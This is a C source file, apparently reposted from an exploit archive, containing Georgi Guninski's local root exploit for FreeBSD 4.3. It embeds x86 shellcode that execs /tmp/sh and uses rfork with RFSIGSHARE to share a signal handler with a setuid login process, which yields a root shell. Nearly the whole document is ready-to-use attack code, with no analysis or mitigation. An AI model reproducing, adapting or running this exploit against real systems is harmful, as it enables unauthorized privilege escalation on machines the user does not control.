Local FreeBSD 4.3 local root exploit using shared signals.

[comAT0Zz]

/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/

#include <stdio.h>
#include <signal.h>
#include <unistd.h>
int vv1;

#define MYSIG SIGINT


//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

typedef (*PROG)();
extern char **environ;

int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
 {
  setenv("vv",bsdshell,1);
  if(!execle(av[0],"vv",NULL,environ))
   {
    perror("weird exec");
    exit(1);
   }
 }

printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);

if(!(pid=rfork(RFPROC|RFSIGSHARE)))
 {
  printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
//  if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
  if(!execl("/usr/bin/login","login",0))
   {
    perror("exec setuid failed");
    exit(2);
   };
 }
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}